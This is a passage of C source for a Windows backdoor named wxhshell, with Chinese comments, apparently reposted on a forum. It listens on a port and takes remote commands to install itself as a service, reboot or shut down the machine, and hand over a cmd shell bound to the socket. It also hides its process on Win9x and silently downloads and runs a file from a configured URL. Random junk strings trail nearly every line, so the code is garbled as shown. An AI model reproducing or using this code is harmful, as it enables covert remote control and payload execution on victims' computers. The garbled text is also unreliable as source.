    switch(cmd[0]) { p\xsW "=8q  
  ,UD5>Ai  
  // 帮助 ?_/T$b ]  
  case '?': { uJ,I6P~9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WW~QK2o-@  
    break; b~K-mjJI  
  } u_$Spbc]/  
  // 安装 >k u7{1)  
  case 'i': { IZ]L.0,  
    if(Install()) d UiS0Qs}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fy!,cK};  
    else o5NrDDH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E8We2T[^M  
    break; |U="B4  
    } td2bL4  
  // 卸载 q -^Z=,<  
  case 'r': { }5"19 Go?  
    if(Uninstall()) T9gQq 7(l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iLFhm4.PO  
    else xCm`g {  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AdRt\H<  
    break; |CjdmQ u  
    } @wXo{p@W  
  // 显示 wxhshell 所在路径 6r)qM)97  
  case 'p': { 1;+(HB  
    char svExeFile[MAX_PATH]; q5~fU$ ,  
    strcpy(svExeFile,"\n\r"); DFqVZ   
      strcat(svExeFile,ExeFile); {7FD-Q[tS  
        send(wsh,svExeFile,strlen(svExeFile),0); R<1[hH9"o  
    break; q.RW_t~  
    } eadY(-4|I-  
  // 重启 ,An*w_  
  case 'b': { %MN>b[z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L|w}#|-  
    if(Boot(REBOOT)) rjT!S1Hs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [2ZZPY9?Q  
    else { TM$`J  
    closesocket(wsh); l@%7] 0!T  
    ExitThread(0); m2Q#ATLW  
    } O7T wM Yh  
    break; i52:<< 8a  
    } jQ Of+ZE  
  // 关机 KRP)y{~o  
  case 'd': { _{'HY+M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G(y@Tor+  
    if(Boot(SHUTDOWN)) F!yejn [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?gOZY\[ma  
    else { .e%B'  
    closesocket(wsh); U}<;4Px]7v  
    ExitThread(0); $`/J V?Z  
    } 2qUC@d<K  
    break; >=Un=Q%  
    } g\ p;  
  // 获取shell eVbaxL!Q^  
  case 's': { X2p9KC  
    CmdShell(wsh); tr\}lfK%  
    closesocket(wsh); l=< :  
    ExitThread(0); > 9wEx[  
    break; fdTyY ;  
  } @~<M_63  
  // 退出 cLe659&  
  case 'x': { kVe_2oQ_>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uia-w^F e  
    CloseIt(wsh); {sL(PS.z  
    break; ?k*s!YCZ  
    } O WVa&8O  
  // 离开 Y: XxTa*  
  case 'q': { `l95I7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A?*_14&  
    closesocket(wsh); g4^df%)&  
    WSACleanup(); N!F ;!  
    exit(1); t^qPQ;"=,  
    break; Af>Ho"i  
        } 3pKr {U92  
  } ?$xZ$zW  
  } 3YF*TxKx  
2@S{e$YK`  
  // 提示信息 v-@xO&<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CCZ]`*wJ  
} za20Y?)[  
  } we&g9j'  
,kKMUshBi  
  return; |JW-P`tL0  
} JY tM1d  
} .cP  
// shell模块句柄 v1Lu.JQC$  
int CmdShell(SOCKET sock) (s`yMUC+  
{ \f_YJit  
STARTUPINFO si; wg[D*a  
ZeroMemory(&si,sizeof(si)); |PED8K:rU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ue <Y ~A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~h{v^ }  
PROCESS_INFORMATION ProcessInfo; DKfw8"L]  
char cmdline[]="cmd"; IU`&h2KZ.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ApYri|^r  
  return 0; q E`  
} 3g]Sp/  
tc'` 4O]c8  
// 自身启动模式 L 59q\_|  
int StartFromService(void) rSVU|O3m;  
{ fN TPW]  
typedef struct I2=?H <  
{ sCFqz[I  
  DWORD ExitStatus; 8L<GAe  
  DWORD PebBaseAddress; zl j%v/9  
  DWORD AffinityMask; it~>)_7*P  
  DWORD BasePriority; ^L(}cO  
  ULONG UniqueProcessId; 5/v@VUzH  
  ULONG InheritedFromUniqueProcessId; #eT{?_wM  
}   PROCESS_BASIC_INFORMATION; &Q[Y&vNn  
dkC[Jt  
PROCNTQSIP NtQueryInformationProcess; do9@6[{Sv  
6XO%l0dC.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YoKY&i6r}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S/|'ggC  
qmcLG*^,  
  HANDLE             hProcess; dM(}1%2  
  PROCESS_BASIC_INFORMATION pbi; lk6*?EJ  
SPxgIP;IR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NGlX%j4j  
  if(NULL == hInst ) return 0; AoEG%nT  
AopC xaJ`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ui,#AZQ#{4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [*O#6Xu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Kd _tjWS  
PYl(~Vac  
  if (!NtQueryInformationProcess) return 0; W,i SN}  
&LO<!WKQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (ROurq"  
  if(!hProcess) return 0; |:s 4#3  
[}|-% 4s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sV/#P<9  
42?X)n>  
  CloseHandle(hProcess); J}qk:xGL  
c_]$UM[7L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 95,y@~ *]  
if(hProcess==NULL) return 0; >`a)gky%~  
2bS)|#v<_t  
HMODULE hMod; fo$iV;x`  
char procName[255]; ,o}!pQ  
unsigned long cbNeeded; fMn7E8.  
h*f=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -bK#&o,  
h:3`e`J<h  
  CloseHandle(hProcess); HPAd@5d(  
vIrLG1EK  
if(strstr(procName,"services")) return 1; // 以服务启动 C G~ )`  
/I3#WUc;![  
  return 0; // 注册表启动 >8~+[e  
} ;SF0}51  
iq '3.-xYr  
// 主模块 cjf}yn  
int StartWxhshell(LPSTR lpCmdLine) :Xv3< rS<  
{ mfO:#]K  
  SOCKET wsl; zm}4=Kz}  
BOOL val=TRUE; i8w(G<Y=  
  int port=0; xNTO59Y-s  
  struct sockaddr_in door; ysfR@ sH7  
t i)foam  
  if(wscfg.ws_autoins) Install(); e*e}X&|(g  
ul+ +h4N  
port=atoi(lpCmdLine); `Y-uNJ'.N  
/_?E0 r  
if(port<=0) port=wscfg.ws_port; >A|6 kzC  
wh:O"&qk  
  WSADATA data; %b2.JGBqJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SI3ek9|XU  
4`G":nE?We  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h[%`'(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1sZwW P  
  door.sin_family = AF_INET; Xi_>hL+R(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :cop0;X:Wm  
  door.sin_port = htons(port); KP7bU9odJ  
|n3PznV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Re('7m h~  
closesocket(wsl); qtTys gv  
return 1; '8~7Ru\KyX  
} NjVuwIm+  
Pv{ {zyc  
  if(listen(wsl,2) == INVALID_SOCKET) { =*qu:f\y  
closesocket(wsl);  B&#TbKp  
return 1; SC`.VCfc.  
} 6pI =?g  
  Wxhshell(wsl); X&h4A4#P  
  WSACleanup(); w*r.QzCu,5  
X~Uvh8O  
return 0; WS@b3zzN  
GwV2`2  
} l}%!&V0  
bp:WN  
// 以NT服务方式启动 j|9;") 1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "?V4Tl~uu  
{ V^=z\wBZ  
DWORD   status = 0; ts3%cRN r  
  DWORD   specificError = 0xfffffff; 5UR$Pn2a2  
JQ'NFl9<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `h( JD$w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =L9sb!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4aGV1u+4  
  serviceStatus.dwWin32ExitCode     = 0;  pzezN  
  serviceStatus.dwServiceSpecificExitCode = 0; g1L$+xD^  
  serviceStatus.dwCheckPoint       = 0; ;14[)t$  
  serviceStatus.dwWaitHint       = 0; tt,MO)8 VD  
zWgNDYT~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fQlR;4QX]  
  if (hServiceStatusHandle==0) return; _L(6F T J  
-*k%'Gr  
status = GetLastError(); |&3m'"(  
  if (status!=NO_ERROR) qi h7  
{ s<|.vVi"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O82T|0uw  
    serviceStatus.dwCheckPoint       = 0; oDTt+b  
    serviceStatus.dwWaitHint       = 0; ?UoA'~=  
    serviceStatus.dwWin32ExitCode     = status; 1?`,h6d*=  
    serviceStatus.dwServiceSpecificExitCode = specificError; q*TH),)J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "0+_P{w+  
    return; @P6K`'.0  
  } HQK%Y2S  
gAC}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !E,$@mvd  
  serviceStatus.dwCheckPoint       = 0; B cd6 ~  
  serviceStatus.dwWaitHint       = 0; g1JD8~a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NTuS(7m  
} BQmg$N,F  
\f1r/e(G|  
// 处理NT服务事件,比如:启动、停止 #tKc!]m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0K`3BuBs  
{ |[}YM %e  
switch(fdwControl) g}@_ @  
{ "wmQ,=  
case SERVICE_CONTROL_STOP: 41mg:xW(J  
  serviceStatus.dwWin32ExitCode = 0; b[? 6/#N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GptJQ=pV  
  serviceStatus.dwCheckPoint   = 0; [#kfl  
  serviceStatus.dwWaitHint     = 0; #QQ\xj  
  { QQ!%lbMK]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'N)&;ADx-G  
  } cfMj^*I  
  return; uI@:\Rss  
case SERVICE_CONTROL_PAUSE: Vc$x?=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _+N*4  
  break; Ku*@4#<L6h  
case SERVICE_CONTROL_CONTINUE: nM34zVy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OljUK,I]  
  break; 6 9ia #  
case SERVICE_CONTROL_INTERROGATE: U_m<W$"HF  
  break; m.EI("n"J  
}; !m^;Apuy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s\1h=V)!H  
} 7gfNe kr~W  
q-eC=!#}  
// 标准应用程序主函数 k/=J<?h0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .%<oy"_  
{ 49^;T;'v  
#+|{l*>  
// 获取操作系统版本 !>Db  
OsIsNt=GetOsVer(); G$}\~dD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DGj:qd(  
n'v[[bmu  
  // 从命令行安装 [MdVgJ9'  
  if(strpbrk(lpCmdLine,"iI")) Install(); HvN!_}[  
Y[i>  
  // 下载执行文件 di>"\On-  
if(wscfg.ws_downexe) { 2B3H -`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ! pR&&uG  
  WinExec(wscfg.ws_filenam,SW_HIDE); J"yO\Y  
} b/5?)!I  
j1*'yvGM  
if(!OsIsNt) { AcyiP   
// 如果时win9x,隐藏进程并且设置为注册表启动 $IA(QC_]AO  
HideProc(); Oj\lg2Ck  
StartWxhshell(lpCmdLine); HhhN8t  
} D'ZR>@w@  
else L TZ3r/  
  if(StartFromService()) [0El z@.C  
  // 以服务方式启动 ?<]BLkx  
  StartServiceCtrlDispatcher(DispatchTable); a&6 3[p.<}  
else AIR,XlD  
  // 普通方式启动 {3@f(H m  
  StartWxhshell(lpCmdLine); v{$X2z_$w  
/qed_w.p  
return 0; ;"-(QE?Mv  
}
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只看该作者 1 发表于: 2006-10-10
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